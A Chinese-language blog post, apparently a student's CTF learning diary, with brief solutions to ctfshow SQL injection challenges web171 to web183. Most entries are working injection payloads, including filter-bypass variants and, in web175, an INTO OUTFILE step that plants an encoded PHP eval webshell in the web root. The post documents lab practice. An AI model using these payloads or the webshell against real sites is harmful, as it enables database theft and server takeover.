Lazy loaded image
技术分享
学习日记-2(SQL注入篇)
2011 分钟
2024-11-25
2025-2-23
1
type
status
date
slug
summary
tags
category
icon
password
先学学sql注入

web171

1' or '1 #后面的数字会被解析为true

web172

输入1试一下,返回username,password两列,联合注入前后表格列数必须相等
题目给了表名与列名,又因为username !='flag' 返回flag会报错 让其返回id与password两列
99999' union select id,password from ctfshow_user2 where username='flag

web173

思路同上,要返回三列
select 1,2 1,2占位可以用1,’a’等替换
1' union select 1,2,password from ctfshow_user3--+ 也可以使用replace(),hex()等处理返回的username 1' union select id,hex(username),password from ctfshow_user3--+ 1' union select id,replace(username,'a',1),password from ctfshow_user3--+ #a被替换为1

web174

过滤了数字,
999' union select replace(username,'f','d'), REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(password, 0, 'zero'), 1, 'one'), 2, 'two'), 3, 'three'), 4, 'four'), 5, 'five'), 6, 'six'), 7, 'seven'), 8, 'eight'), 9, 'nine') from ctfshow_user4 where username='flag'--+ 然后换回去

web175

1.将结果写入文件,然后访问
99' union select 1,password from ctfshow_user5 into outfile '/var/www/html/7.txt'--+
2.写入一句话木马,先base64然后编码
4541' union select 1,from_base64("%50%44%39%77%61%48%41%67%51%47%56%32%59%57%77%6f%4a%46%39%51%54%31%4e%55%57%79%4a%7a%5a%43%4a%64%4b%54%73%2f%50%67%3d%3d") into outfile '/var/www/html/13.php
然后使用蚁剑连接(反正我连不上,可能我的蚁剑出问题了,都能执行命令了)

web176

同171

web177+178

尝试发现过滤空格,—+
999'%09union%09select%091,2,password%09from%09ctfshow_user%23

web179

在之前基础上过滤了%09,%0a
999'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_user%23

web180

—+,%23被过滤
999'union%0cselect'1',(select(password)from(ctfshow_user)where(username='flag')),'3

web181

666'or(username='flag')and'1'='1

web182

666'or(id=26)and'1'='1或者666'or(username%0clike'%fla%')and'1'='1

web183

 
上一篇
学习日记-1(命令执行篇)
下一篇
学习日记-3(文件包含篇)

评论
Loading...
heo
  1. 1 Flower Dance DJOKAWARI
  2. 2 記憶 市川淳
  3. 3 三葉のテ一マ RADWIMPS
  4. 4 スパークル RADWIMPS
記憶 - 市川淳
00:00 / 00:00
An audio error has occurred, player will skip forward in 2 seconds.